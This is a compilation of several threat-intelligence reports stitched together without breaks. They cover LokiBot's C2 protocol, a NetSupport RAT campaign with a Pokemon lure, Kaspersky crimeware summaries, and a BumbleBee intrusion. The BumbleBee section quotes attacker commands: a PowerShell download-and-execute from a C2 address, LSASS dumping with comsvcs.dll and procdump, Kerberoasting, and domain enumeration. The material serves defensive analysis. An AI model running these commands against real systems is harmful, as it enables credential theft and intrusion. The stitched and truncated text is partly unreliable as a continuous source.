Malware authors use this technique to retrieve export functions from loaded libraries using a computed hash.


Replicating the hashing function implementation allows us to retrieve the corresponding APIs in the appropriate library.


Figure 4 shows a Python implementation of the API hashing algorithm used in the malware sample.


API hashing algorithm.


Main Stealing Feature The main function of the sample is building two arrays of 101 elements.


The first array is filled with indexes, and the second array is filled with pointers to functions.


The latter are the stealing functions.


These functions are made to steal credentials from different types of applications and services on the Windows operating system: Browsers: Safari, Internet Explorer, Firefox and Chromium-based browsers FTP/SSH apps and clients Backup applications Email applications Notes applications Poker applications Password managers Windows credentials The main function of the malware is looping over these stealer functions to execute them, as shown in Figure 5. Figure 5.


Main stealer function loop.


All the credentials collected and extracted from the installed software will then be compressed by the aPLib algorithm and submitted to the C2 server through HTTP protocol using the POST method.


We’ll go into this in more detail in the HTTP C2 Communication section.


Persistence In order to establish persistence on the targeted host, the malware starts by saving a copy of itself in a new folder in the %APPDATA% directory via the MoveFileExW or CopyFileW Windows API.


Then, it creates and sets a new value for the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run.


This value, named as the created folder, is set to the path of the copied executable.


HTTP C2 Communication LokiBot exfiltrates information to the C2 through the HTTP protocol.


This information includes the bot's version number (1.8) and can be found in the two bytes of the HTTP payload.


It also contains a User-Agent set as “Mozilla/4.08 (Charon; Inferno)”, and the Content-Key, which is a custom HTTP header whose value corresponds to a hash generated out of the HTTP header.


Figure 6 shows a HTTP POST request and its corresponding message body.


This body contains the exfiltrated information, which is highlighted in different colors for each field.


We’ve also included the corresponding offset and size to provide a better visual reference of the data structure used by the malware, and to easily cross-reference each field of interest.


HTTP POST request (type 27 / data exfiltration).For a detailed list of each data field (offset and size) of the HTTP body (payload) please refer to the Appendix section.


Similar to other information-stealing malware, this threat searches for and exfiltrates the following information: OS architecture Built-in admin Domain host name Hostname Local admin Operating system Screen resolution Username information The exfiltrated data that is unique to this information stealer malware includes the following: Unique key, which is an identifier that includes five randomly generated characters Binary ID, which indicates a domain that is commonly used in LokiBot infections (ckav[.]ru) Mutex value, which consists of a 24-character length string (taken from hashing the machine’s GUID using the MD5 algorithm)


Potential hidden files (e.g., %APPDATA%\\079D53\\3AFB91.hdb), which are taken from the mutex value (for directory name with a character range from 8-13 bytes and a file name with a character range from 13-18 bytes) Hash database (.hdb) Keylogger database (.kdb) Lock file (.lck) Malware EXE (.exe)


The bot also makes use of different payload types (located at the third and fourth byte of the HTTP body).


These types include the following: Stolen application/credential data (0x27) Get C2 commands from C2 Server (0x28) Exfiltrate keylogger data (0x2B) Other versions of this malware family can use additional payload types depending on the final action including the following: Exfiltrate cryptocurrency wallet (0x26) Exfiltrate files (0x29)


Exfiltrate PoS data (0x2a)


Exfiltrate screenshots (0x2c) Conclusion LokiBot malware has been used by attackers for many years.


There have been multiple versions of this threat.


It takes a lot of effort for any security team to constantly monitor the behavior changes in the malware and add the necessary protections.


The Palo Alto Networks machine learning-based C2 detection solution, as part of Advanced Threat Prevention, detects and stops malicious C2 activity inline.


The model is regularly updated with the latest C2 communication from various types of malware.


This ensures that the detection capabilities are always up to date and capable of countering the ever-evolving threats posed by malicious actors.


We would like to extend our gratitude to Doel Santos from Unit 42 and Nina Smith for helping on this investigation.


Palo Alto Networks customers receive protections from and mitigations for LokiBot information stealer C2 communication in the following ways: We have distilled the knowledge we’ve gained from responding to hundreds of BEC incidents into our BEC Readiness Assessment offering, which is designed to help organizations strengthen their processes and technology to mitigate threats like the ones discussed in this blog.


+65.6983.8730 Japan: +81.50.1790.0200 Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance (CTA) members.


Learn more about the Cyber Threat Alliance. Indicators of Compromise Samples ZIP file: 4edd01345f58b9cc04a88ca15d6b82895f44f5b9cb51ad63b809de09029670ac ISO: 8a5a024272361bb1ae12860c033bb52685d7b0ea3bce5fac46439f3f3ad36a84 Loader: 1b574a66c84924886daec4841e1b107258e019aaf6f336329ae8fae7cbd52a34 Infrastructure efvsx[.]gq 188.114.96[.]13 Additional Resources Appendix Field Description Offset Size LokiBot version 0x0 0x2 Payload type 0x2 0x2 BinaryID unicode 0x4 0x2 BinaryID length 0x6 0x4


BinaryID string 0xa 0x7 Username unicode 0x11 0x2 Username length 0x13 0x4 Username string 0x17 0x12 Hostname unicode 0x29 0x2 Hostname length 0x2b 0x4 Hostname string 0x2f 0x16 Domain hostname unicode 0x45 0x2 Domain hostname length 0x47 0x4 Domain hostname string 0x4b 0x16 Screen width 0x61 0x4


Screen height 0x65 0x4 Local admin 0x69 0x2 Built-In admin 0x6b 0x2 64-bit OS 0x6d 0x2 OS major 0x6f 0x2 OS minor 0x71 0x2 Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us


Researchers at ASEC recently reported on a NetSupport RAT campaign that utilizes Pokemon as the social engineering lure.

Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures


Threat actors staged a malicious website, hosting a Pokemon-based NFT game, offering both a fun and financially rewarding experience.


In reality, those drawn into the site are coerced into downloading the trojanized NetSupport RAT client, allowing attackers full access to their device.


NetSupport RAT has been observed in numerous attacks on enterprise environments over the years, and Pokemon is just the latest in a long line of creative lures used to distribute and drop NetSupport RAT.


It is frequently used by cybercriminals as a ‘quick solution’ in lieu of implementing something more bespoke.


In this post, we provide an overview of NetSupport RAT and discuss the technical details of a recent campaign.


Background NetSupport RAT is based on NetSupport Manager, a legitimate tool which is frequently used by bad actors for malicious purposes in ways similar to TeamViewer.


NetSupport Manager, used maliciously or otherwise, provides full and complete control over the target device.


Once the client has been installed, attackers can access, acquire, and manipulate any data on the device (exfiltrate data, execute additional payloads).


In addition, the software allows at least the following: Real-time screen monitoring, optimized for monitoring multiple devices Taking control or redirect user screens Capturing screenshots, audio, video Malicious versions are constantly being sold or rented out via underground crime marketplaces.


NetSupport Manager RAT offered for rental As NetSupport Manager is a legitimate tool that has a long history of development, it is highly attractive to attackers as it can be relied on to work ‘out of the box’.


Additionally, it is thoroughly documented and actively supported: benefits that are less likely with custom-built malware that provides similar functionality such as Andromeda, Nanocore, CirenegRAT, Dark Comet and others.


Malicious use of NetSupport Manager (aka NetSupport RAT) has been observed since at least late 2017.


The use of “legitimate” or COTS (Commercial off the Shelf) tools is highly beneficial to attackers when attempting to achieve the greatest degree of stealth.


Custom-written malware can often be detected by some layer of protection, such as EPP and EDR tools, so it is often advantageous to utilize a legitimate tool, even if it takes some creativity to deliver the remote software client.


ASEC reported that the NetSupport RAT droppers were delivered via phishing emails that entice targets to install a “Pokemon card game”.


On doing so, the victim unknowingly installs the NetSupport RAT, a doctored version of the NetSupport Manager client (client32.exe) that gives the attacker immediate and direct control of the infected device.


While this specific attack was centered around the Pokemon theme, other phishing lures are known to be used.


Some recent NetSupport RAT campaigns utilize .ISO


files as droppers.


This allows the attackers to evade certain types of detection.


This technique has been used by ransomware actors as well such as by both Maze and Ragnar Locker.


When opened, the ISO files will contain either the NetSupport RAT installer (with configs/support files) or a .LNK file redirecting the victim to said installer.


Technical Details A typical example of this kind of .ISO file is the sample CLF_security.iso (288603f501926756c236e368a1fdc7d128f4f9a1).


This particular .ISO contains an embedded .EXE file (CLFSECUR.EXE) which is then utilized to drop and execute the installer for NetSupport RAT.


Sample 4233ff7941da62b86fc2c2d92be0572c9ab534c8 has been observed in multiple ISO files masquerading as legitimate software, including: CodeTwo Exchange Manager PCFresh 2022 SDK Tools Google Chrome Google Crash Handler Steelray Project Setup BrowserRenew.iso CLFsecurity.


ISO Cloudflare_security_setup.iso The RAT installation is disguised to look similar to a Google Chrome installation.


NetSupport RAT installer disguised as Google Chrome setup.


The sample is obfuscated via the Babadeda crypter.


When executed, a base64 encoded string is used to specify various parameters including sessionID and other critical values to the NetSupport connection.


Base64 encoded RAT execution command The command decodes to look similar to the following: NetSupport RAT decoded command Persistence for the RAT is achieved via registry entry, and a shortcut to the installed RAT executable is written to the Startup folder.


For example: ~\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NetSupport.url In this case, the shortcut links to \AppData\Roaming\Steelray


Project Viewer


In addition, the sample generates a scheduled task with multiple triggers.


NetSupport RAT Persistence via Scheduled Task Install directory of NetSupport RAT The RAT performs a number of discovery operations to understand its host environment.


Network adapter details are pulled via GetAdaptersAddresses.


Additional data is gleaned via WMI queries such as: SELECT *


FROM Win32_ComputerSystem SELECT *


FROM Win32_SystemEnclosure


The malware deploys some anti-analysis measures such as attempting to detect the presence of a debugger via IsDebuggerPresent, and all running processes are enumerated and logged via EnumProcesses (32-bit processes).


Launch behavior, including delays in execution or outgoing connection, can be controlled by the attacker.


For example, Sleep statements may be used to delay execution by hours in order to trick sandboxes used in malware analysis or simply to disguise the association between the infection and the social engineering event from the user.


Network requirements vary across different NetSupport Manager configurations and sessions.


In the analyzed sample, the client opens a port on TCP 50275 to receive network connections.


NetSupport RAT has the ability to drop and execute additional components.


In this particular campaign, system/log data and executable code is dropped into %temp%.


NetSupport RAT data in %temp%.


Data files and executables are also written to ~\Program Files (x86) \Google\Temp.


These files are all self-deleted after launch or full installation of the attacker configuration.


A large number of legitimate Google Chrome support files are also written to this location.


These are used by the malware in order to facilitate the fake Google Chrome installation.


Conclusion NetSupport Manager is a long-standing tool which, like TeamViewer, has unfortunately attracted ample use by cybercriminals.


NetSupport RAT, once installed, is very robust and powerful, and threat actors are able to masquerade the dropper or installer in any way they see fit.


In addition, threat actors using this tool are very quick to update their lures and find ways to entice their victims into installing the malicious remote control software.


SentinelOne Singularity provides protection against malicious behaviors associated with NetSupport RAT. Indicators of Compromise SHA1 Samples 593966f38d6b062bec8534ec070a194ac3a3c3d8 3a511941b09fdfed1b53bd89e55be7a3211b19c2 16cf01d8e0753e4b6fac781266d033996af6731d f1c454645ab0adec41765f29861a5b5dd9bda313 0ef99e15452154c240f80c874384d04c46b154a0 ec7e8093b8d35a0e6fbf7b1869d685f0be0e8108 dfc9b696267ae466c6ffa44e63e314df79264afd 4c5771b7fb683b160cb1f7396d39dd706aa7021d ee3c0579cbcdb5f50ff8cd750a59d89d7757d7a4 288603f501926756c236e368a1fdc7d128f4f9a1 06906aee0ddba30e560e4b60e140e0c098519bb2 7c090065de1090fa92ff01f06739fbca04e6936d 61679dbe1d13d9c25000142fd51b9f4e952a7098 2d6b1900e093c9c8bcce642792e3fadc90b3b0ac 171692daf0a136154edde6e22c791d238ae8c1d0 4233ff7941da62b86fc2c2d92be0572c9ab534c8 DNS/Domains she32rn1[.]com MITRE ATT&CK T1219 – Remote Access Software T1053.005 – Scheduled Task/Job: Scheduled Task T1047 – Windows Management Instrumentation T1564.001 – Hide Artifacts: Hidden Files and Directories T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1564.003 –


Hide Artifacts: Hidden Window T1036 – Masquerading T1112 – Modify Registry T1406.002 – Obfuscated Files or Information: Software Packing T1049 – System Network Connections Discovery T1083 – File and Directory Discovery T1057 – Process Discovery T1012 – Query Registry T1571 – Non-Standard Port


Introduction


Although ransomware is still a hot topic on which we will keep on publishing, we also investigate and publish about other threats.


Recently we explored the topic of infection methods, including malvertising and malicious downloads.


In this blog post, we provide excerpts from the recent reports that focus on uncommon infection methods and describe the associated malware.


For questions or more information on our crimeware reporting service, please contact crimewareintel@kaspersky.com.


RapperBot: “intelligent brute forcing” RapperBot, based on Mirai (but with a different C2 command protocol), is a worm infecting IoT devices with the ultimate goal to launch DDoS attacks against non-HTTP targets.


We observed the first sample in June 2022, when it was targeting SSH and not Telnet services.


The latest version, however, removed the SSH functionality part and now focuses exclusively on Telnet—and with quite some success.


In Q4 2022, we noticed 112k RapperBot infection attempts coming from over 2k unique IP addresses.


What sets RapperBot apart from other worms is its “intelligent” way of brute forcing: it checks the prompt and, based on the prompt, it selects the appropriate credentials.


This method speeds up the brute forcing process significantly because it doesn’t have to go over a huge list of credentials.


RapperBot then determines the processor architecture and infects the device.


The downloading of the actual malware is done via a variety of possible commands (for example, wget, curl, tftp and ftpget).


If for some reason these methods don’t work, then a malware downloader is uploaded to the device via the shell “echo” commands.


Rhadamanthys: malvertising on websites and in search engines Rhadamanthys is a new information stealer first presented on a Russian-speaking cyber criminal forum in September 2022 and offered as a MaaS platform.


According to the author, the malware: Is written in C/C++, while the C2 is written in Golang.


Is able to do a “stealthy” infection.


Is able to steal/gather information on CPU type, screen resolution, supported wallets, and so on.


Evades EDR/AV. Has encrypted communication with the C2.


Despite the malware being advertised already in September 2022, we started to detect the first samples at the beginning of 2023.


Although Rhadamanthys was using phishing and spam initially as the infection vector, the most recent method is malvertising.


Online advertising platforms offer advertisers the possibility to bid in order to display brief ads in search engines, such as Google, but also websites, mobile apps and more.


Both search engine and website-based ad platforms are leveraged by Rhadamanthys.


The trick they pull is to display ads representing legitimate applications but in fact containing links to phishing websites.


These phishing websites contain fake installers, luring users into downloading and installing the malware.


While analyzing Rhadamanthys, we noticed a strong connection with Hidden Bee miner.


Both samples use images to hide the payload inside and both have similar shellcodes for bootstrapping.


Additionally, both use “in-memory virtual file systems” and utilize Lua to load plugins and modules. Comparison between Rhandamanthys’s “prepare.bin” and Hidden Bee’s “preload” modules CUEMiner: distribution through BitTorrent and OneDrive In August 2021, a project was started on GitHub called SilentCryptoMiner, hosting the miner consisting of a downloader and the payload, bot source and the compiled builder, as well as additional software, such as a system watcher.


It has been constantly updated, with the latest update going back to October 31 2022.


The repository is popular with cybercriminals, as illustrated by the huge number of samples we detected that featured many small changes and were combined with the different URLs and TTPs, making it clear that the malware is used by multiple groups in various ways concurrently.


During our investigation, we noticed two methods of spreading the malware.


The first is via trojanized cracked software downloaded via BitTorrent.


The other method is via trojanized cracked software that is downloaded from OneDrive sharing networks.


How victims are lured into downloading these cracked packages is speculation, because we couldn’t find any direct links.


Nevertheless, many crack sites these days do not immediately provide downloads.


Instead, they point to Discord server channels for further discussion.


This suggests some form of human interaction and social engineering.


The downloader is written in .NET and called CUEMiner.


Despite being written in .NET, it is wrapped by a C++ based dropper and it connects to a set of URLs, which is varying from sample to sample, to download the miner and configuration settings.


It also performs several checks in order to ensure it is running on bare metal systems, and not on a virtual machine.


In case all checks are passed, the malware: Reconfigures Windows Defender to exclude the user profile path and the entire system drive from scanning.


Fetches configuration details from a hardcoded URL and saves it at different places (for example, c:\logs.uce, %localappdata%\logs.uce).


Creates empty files and subdirectories in %ProgramData%\HostData to make the directory look benign.


Downloads the miner and watcher.


Does a number of other things.


The full list you can find in our private report.


The watcher, as the name suggests, monitors the system.


If it doesn’t detect any processes that consume lots of system power (for example, games), the miner software is launched.


When a heavy process, such as a game, is started, the miner is stopped and only started again when the aforementioned process stops.


This is done in order to stay undetected on the system longer.


Conclusion Open source malware is often used by less skilled cybercriminals.


They often lack the required skills and contacts to conduct massive campaigns.


Nevertheless, they can be still quite active and effective, as is shown by the huge number of CUEMiner samples we detected.


If along their cybercriminal career they gain more skills, such as programming and understanding security better, they often reuse and improve crucial source code parts from open source malware.


Code reuse and rebranding is also used quite often by cybercriminals.


There are many ransomware variants that change names over time while mostly containing the same code base.


In other cases, cybercriminals re-use parts of the code in new campaigns.


For example, Rhadamantys stealer features some code overlaps with the Hidden Bee malware.


This suggests involvement of at least one individual in the Rhadamantys campaign who had also been involved in the development of Hidden Bee.


To protect yourself against these threats, intelligence reports can help.


If you want to stay up to date on the latest TTPs used by criminals or have questions about our private reports, please contact crimewareintel@kaspersky.com.


In this intrusion from April 2022, the threat actors used BumbleBee as the initial access vector.

BumbleBee Roasts Its Way to Domain Admin


BumbleBee is a malware loader that was first reported by Google Threat Analysis Group in March 2022.


Google TAG attributes this malware to an initial access broker (IAB) dubbed EXOTIC LILY, working with the cybercrime group FIN12/WIZARD SPIDER/DEV-0193.


Read more about BumbleBee here, and here.


During this intrusion, the threat actors gained access using an ISO and LNK file, used several lateral movement techniques, dumped credentials three different ways, kerberoasted a domain admin account and dropped/executed a bespoke tool for discovering privilege escalation paths.


Case Summary In this intrusion, the threat actors operated in an environment over an 11 day dwell period.


The intrusion began with a password protected zipped ISO file that we assess with medium to high confidence due to other reports, likely arrived via an email which included a link to download said zip file.


The execution phase started with that password protected zip, which after extracting would show the user an ISO file that after the user double clicks would mount like a CD or external media device on Windows and present the user with a single file named documents in the directory.


When the user double clicks or opens the lnk file, they inadvertently starts a hidden file in the directory, a DLL (namr.dll) containing the Bumblebee malware loader.


From there, the loader reached out to the Bumblebee C2 server.


At first, things remained fairly quiet, just C2 communications; until around 3 hours later, Bumblebee dropped a Cobalt Strike beacon named wab.exe on the beachhead host.


This Cobalt Strike beacon was subsequently executed and then proceeded to inject into various other processes on the host (explorer.exe, rundll32.exe).


From these injected processes, the threat actors began discovery tasks using Windows utilities like ping and tasklist.


Four hours after initial access, the threat actor started their first lateral movement using RDP to pivot to a server using the local Administrator account.


The threat actor then deployed Anydesk, which was the only observed persistence mechanism used during the intrusion.


The threat actor then started Active Directory mapping using Adfind.


After this activity, the threat actors went silent.


Then, the next day, they accessed the server via RDP and deployed a bespoke tool, VulnRecon, designed to identify local privilege escalation paths on a Windows host.


The tool appeared to be still under development as several command options were not yet implemented.


The next check in from the threat actors, occurred on the 4th day, where the threat actors again ran VulnRecon, but from the beachhead host instead of the server.


AdFind was used again as well.


Next, the threat actor transferred Sysinternals tool Procdump over SMB, to the ProgramData folders on multiple hosts in the environment.


They then used remote services to execute Procdump, which was used to dump lsass.


At this point, the actors appeared to be searching for more access then they currently had.


While they were able to move laterally to workstations and at least one server, it seemed that they had not yet taken control of an account that provided them the access they were seeking, likely a Domain Administrator or similarly highly privileged account.


After that activity, the threat actors then disappeared until the 7th day, at which time they accessed the server via Anydesk.


Again, they executed VulnRecon and then also executed Seatbelt, a red team tool for preforming various host based discovery.


On the final day of the intrusion, the 11th day since the initial entry by the threat actor, they appeared to be preparing to act on final objectives.


The threat actors used PowerShell to download and execute a new Cobalt Strike PowerShell beacon in memory on the beachhead host.


After injecting into various processes on the host, the threat actors executed the PowerShell script Invoke-Kerberoast.


Next, they used yet another technique to dump LSASS on the beachhead host, this time using a built in Windows tool comsvcs.dll.


AdFind was run for a 3rd time in the network, and then two batch scripts were dropped and run.


These batch scripts’ purposes were to identify all online servers and workstations in the environment, often a precursor to ransomware deployment by creating the target list for that deployment.


After the scripts ran, a new Cobalt Strike executable beacon was run on the beachhead.


Next, the threat actors used a service account to execute a Cobalt Strike beacon remotely on a Domain Controller.


This service account was most likely cracked offline after being kerberoasted earlier in the intrusion.


The threat actors were then evicted from the environment before any final actions could be taken.


We assess based on the level of access and discovery activity from the final day the likely final actions would have been a domain wide ransom deployment.


Timeline Analysis and reporting completed by @0xtornado and @MetallicHack Initial Access


The threat actors managed to get access to the beachhead host after the successful execution of a lnk file within an ISO, which are usually distributed through email campaigns.


The initial payload named BC_invoice_Report_CORP_46.iso, is an ISO image that once mounted, lures the user to open a document.lnk file which will execute the malicious DLL loader using the following command line:


C:\Windows\System32\cmd.exe /c start rundll32 namr.dll,IternalJob Running Eric Zimmerman’s tool LECmd revealed additional details related to the threat actors.


The metadata included TA machine’s hostname, MAC address, and the LNK document creation date: Execution Execution of multiple payloads The successful execution of BumbleBee payload (namr.dll) resulted in the dropping and the execution of several payloads using multiple techniques.


The graph below shows all the payloads dropped by BumbleBee, the way they were executed, and the different processes they injected into: Sysmon File Created event showing wab.exe created by rundll32.exe Sysmon Event Code 1 showing wab.exe executed by WMI Execution of Cobalt Strike The following PowerShell one-liner was executed from wab.exe during day 11, which downloaded obfuscated PowerShell and executed it in memory: C:\Windows\system32\cmd.exe /C


powershell.exe -nop


-w hidden -c "IEX ((new-object net.webclient).downloadstring('http://104.243.33.50:80/a'))" Since the download took place over an unencrypted HTTP channel, the network traffic was plainly visible.


This payload can be deobfuscated using the following CyberChef recipe: Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Gunzip() Label('Decode_Shellcode') Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') Conditional_Jump('',false,'',10) From_Base64('A-Za-z0-9+/=',true) XOR({'option':'Decimal','string':'35'},'Standard',false) Once deobfuscated, we can spot the MZRE header, which is part of the default configuration of Cobalt Strike: One of the easiest ways to extract valuable information from this Shellcode is using Didier Stevens 1768.py tool: The command and control server was hosted on (108.62.12[.]174/dofixifa[.]co).


The full config extraction, detailing the Malleable C2 profile, is available in Command and Control section.


Persistence AnyDesk and its installation as a service was used in order to persist and create a backdoor to the network.


Privilege Escalation GetSystem Threat actors made a mistake by launching the getsystem command in the wrong console (shell console rather than the beacon console).


The parent process of this command was C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p


cbdhsvc , a process where Cobalt Strike was injected into: C:\Windows\system32\cmd.exe /C


getsystem


This command is a built-in Cobalt Strike command that is used to get SYSTEM privileges.


A detailed write-up of this feature is documented in the official Cobalt Strike blog and was also detailed in our Cobalt Strike, a Defender’s Guide blog post. Valid Accounts Threat actors obtained and abused credentials of privilege domain accounts as a means of gaining privilege escalation on the domain.


A service account, with Domain Administration permissions, was used to create a remote service on a Domain Controller to move laterally.


Defense Evasion Process Injection The process injection technique was used multiple times to inject into different processes.


Almost every post-exploitation job was launched from an injected process.


Right after its execution, the wab.exe process created two remote threads in order to inject code into explorer.exe and rundll32.exe: Threat actors also created a remote thread in svchost.exe: Multiple processes were then spawned by : C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p


cbdhsvc to perform various techniques (Enumeration, Credential dumping, etc.):


A yara scan of process memory using the Malpedia Cobalt Strike rule revealed the various injections across hosts as well.


Pid ProcessName CommandLine 6832 explorer.exe C:\Windows\Explorer.


EXE 7476 svchost.exe C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p


-s cbdhsvc 8088 wab.exe C:\Users\USER\AppData\Local\wab.exe 34296


rundll32.exe C:\Windows\system32\rundll32.exe 19284 powershell.exe “c:\windows\syswow64\windowspowershell\v1.0\powershell.exe” -Version 5.1 -s


-NoLogo -NoProfile 7316 svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup 7288 svchost.exe C:\Windows\system32\svchost.exe -k


UnistackSvcGroup -s


WpnUserService 20400 rundll32.exe C:\Windows\System32\rundll32.exe Indicator Removal on Host: File Deletion


We observed the threat actors deleting their tools (Procdump, Network scanning scripts, etc.) from hosts.


The table below shows an example of ProcDump deletion from the ProgramData folder of all targeted workstations after dumping their LSASS process: Credential Access LSASS Dump MiniDump Threat actors dumped the LSASS process from the beachhead using the comsvcs.dll MiniDump technique via the C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p


-s cbdhsvc beacon: cmd.exe /C


rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 968 C:\ProgramData\REDACTED\lsass.dmp full ProcDump Threat actors also dropped procdump.exe and procdump64.exe on multiple workstations remotely, dumped LSASS, and deleted them from the ProgramData folder:


The ProcDump utility was executed on those workstations using the following command line: C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp Kerberoasting Invoke-Kerberoast command was executed from the beachhead through svchost.exe, a process where the threat actors injected: Here is an extract of PowerShell EventID


800 showing different Invoke-Kerberoast options used by threat actors, including HashCat output format


: IEX (New-Object Net.


Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\ProgramData\REDACTED\ps.txt -append -force -Encoding UTF8 Right after the execution of Invoke-Kerberoast, DC logs show that multiple Kerberos Service Tickets were requested from the beachhead, with ticket encryption type set to 0x17 (RC4) and ticket options to 0x40810000, to service accounts.


Around 3 hours later, the service account logged into one of the Domain Controllers from the beachhead.


We assess with high confidence that the service account password was weak and cracked offline by threat actors.


Discovery Reconnaissance System Information & Software Discovery The following commands were launched by wab.exe beacon: whoami ipconfig /all tasklist systeminfo wmic product get name,version wmic /node:<REDACTED> process list brief net view \\<REDACTED>\Files$ /all dir \\<REDACTED>\C$\ Using the same beacon, wab.exe, tasklist was also used in order to enumerate processes on multiple hosts remotely: tasklist /v /s


<REMOTE_IP> Permission Groups Discovery As we have already observed in multiple cases, the threat actors enumerated the local administrators group and domain privileged (Enterprise and DAs) administrators groups mainly using net command: net use net group "Domain computers" /dom net group "Enterprise admins" /domain net group "domain admins" /domain net localgroup administrators nltest /dclist: nltest /domain_trusts ping -n 1 <REMOTE_IP>


Opsec mistake Threat actors failed on a part of their tasks, by executing the command in the wrong console: C:\Windows\System32\rundll32.exe ➝ C :\Windows\system32\cmd.exe /C


shell whoami /all


We can assert with high confidence that the recon stage was not fully automated, and threat actors manually executed commands and made a mistake in one of those.


AdFind To enumerate Active Directory, the threat actors executed AdFind from the beachhead host, on three different occasions: The source of execution, the initiating parent process, was different on each occasion and the name of AdFind binary and the result files were different on one occasion, which could indicate multiple Threat actors accessing the network.


Network scanning Threat actors used two scripts named s.bat (for servers) and w.bat (for workstations) to ping the hosts and store the results in two log files: s.bat script: @echo off for /f


i in (servers.txt) do for /f "tokens=2 delims=[]"


%%j in ('ping -n 1 -4


"%%i"') do @echo


%%j >> serv.log w.bat script: @echo off for /f


%%i in (workers.txt) do for /f "tokens=2 delims=[]"


j >> work.log Both of those scripts were executed from the PowerShell Cobalt Strike beacon (powershell.exe).


Invoke-ShareFinder Invoke-ShareFinder is a PowerShell module which is part of PowerView. Invoke-ShareFinder – finds (non-standard) shares on hosts in the local domain Threat actors performed share enumeration using Invoke-ShareFinder.


IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:39303/%27); Invoke-ShareFinder -CheckShareAccess -Verbose


| Tee-Object ShareFinder.txt Because rundll32.exe executed PowerShell, we can see that rundll32.exe created the ShareFinder.txt output file in C:\ProgramData\. Seatbelt The tool SeatBelt was used by the threat actors on a server in order to discover potential security misconfigurations.


Seatbelt is a C# project that performs a number of security oriented host-survey “safety checks” relevant from both offensive and defensive security perspectives.


Threat actors performed a full reconnaissance by specifying the flag -group=all: Seatbelt.exe -group=all -outputfile="C:\ProgramData\seatinfo.txt" VulnRecon Threat actors dropped two binaries named vulnrecon.dll and vulnrecon.exe on two hosts.


This is the first time we’ve observed this tool.


This library seems to be a custom tool developed to assist threat actors with Windows local privilege escalation enumeration.


vulnrecon.dll PDB: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdbvulnrecon.exe PDB: D:\work\rt\VulnRecon\VulnRecon\obj\Release\net5.0\VulnRecon.pdb The table below summarizes the capabilities of the tool:


Option/Command Details (from the code) ‘v’ or “Vulnerability” “Search for available vulnerabilities for using LPE tools””Scans the operating system for vulnerabilities and displays a list of tools for a LPE” ‘m’ or “MicrosoftUpdates” “List of all installed microsoft updates””Displays a list installed Microsoft updates” ‘h’ or “HotFixes” “List of installed hot fixes””Displays a list of installed hot fixes” ‘s’ or “SupportedCve” “List of implemented tools for LPE “”Displays list of implemented CVE for LPE” ‘i’ or “SystemInfo” “Display information about current Windows version “ Below is the list of all of the currently supported (or implemented) CVE enumeration via installed KBs mapping: Threat actors executed this tool on patient 0 with low-level privileges multiple times, and again on a server with Administrator privileges.


Below are all the command lines run by the adversaries: Lateral Movement Lateral Tool Transfer Using the Cobalt Strike beacon, the threat actors transferred AnyDesk (1).exe file from the beachhead to a server: The threat actors also transferred ProcDump from the beachhead to multiple workstations: Remote Services Remote Desktop Protocol Threat actors used explorer.exe, where they were previously injected into, to initiate a proxied RDP connection to a server: Threat actors performed the first lateral movement from the beachhead to the server using RDP with an Administrator account: This first lateral movement was performed in order to drop and install AnyDesk.


SMB/Windows Admin Shares Remote Service over RPC Multiple RPC connections were initiated from the rundll32.exe process where wab.exe previously injected into: These RPC connections targeted multiple hosts, including workstations, servers, and DCs.


As we can see with one server, which was targeted, the win32 function CreateServiceA was used by the malware in order to create a remote service over RPC on the server.


Cobalt Strike built-in PsExec Threat actors used the built-in Cobalt Strike jump psexec command to move laterally.


On each usage of this feature, a remote service was created with random alphanumeric characters, service name and service file name, e.g. “<7-alphanumeric-characters>.exe”.


Below is an example of the service edc603a that was created on a Domain Controller:


The account used to perform this lateral movement was one of the kerberoasted service accounts.


The random (PsExec) service runs a rundll32.exe process without any arguments.


This process was beaconing to (108.62.12[.]174/dofixifa[.]co), the second Cobalt Strike C2, used during the last day of this intrusion.


We observed this beacon performing various techniques (Process injections in svchost process via CreateRemoteThread, Default named pipes, etc.) Command and Control The graph below shows all communications to malicious IP addresses made by the dropped payloads or processes which threat actors injected into: BumbleBee 142.91.3[.]109 45.140.146[.]30 All the active Bumblebee command and control shared a common server configuration in regards to TLS setup.


JA3: c424870876f1f2ef0dd36e7e569de906JA3s: 61be9ce3d068c08ff99a857f62352f9dCertificate:


[76:28:77:ff:fe:26:5c:e5:c6:7a:65:01:09:63:44:6d:57:b7:45:f2 ]


Not Before: 2022/04/12 06:33:52 UTC Not After: 2023/04/12 06:33:52 UTC Issuer Org: Internet Widgits


Pty Ltd Subject Org: Internet Widgits Pty Ltd Public Algorithm: rsaEncryption Cobalt Strike Cobalt Strike (CS) was extensively used during this intrusion, the threat actors used CS as the main Command and Control tool, dropped several payloads, and injected into multiple processes on different hosts.


C2 Servers Two Cobalt Strike Command and Control servers were used during this intrusion.


The graph below shows beaconing activity over time, we can notice the continuous usage of the first C2 server (45.153.243[.]142/fuvataren[.]com) from day 1 and the second C2 server (108.62.12[.]174/dofixifa[.]co) during the last day of intrusion only (day 11): The main beacon wab.exe: 45.153.243[.]142 fuvataren[.]com JA3: a0e9f5d64349fb13191bc781f81f42e1JA3s: ae4edc6faf64d08308082ad26be60767Certificate:


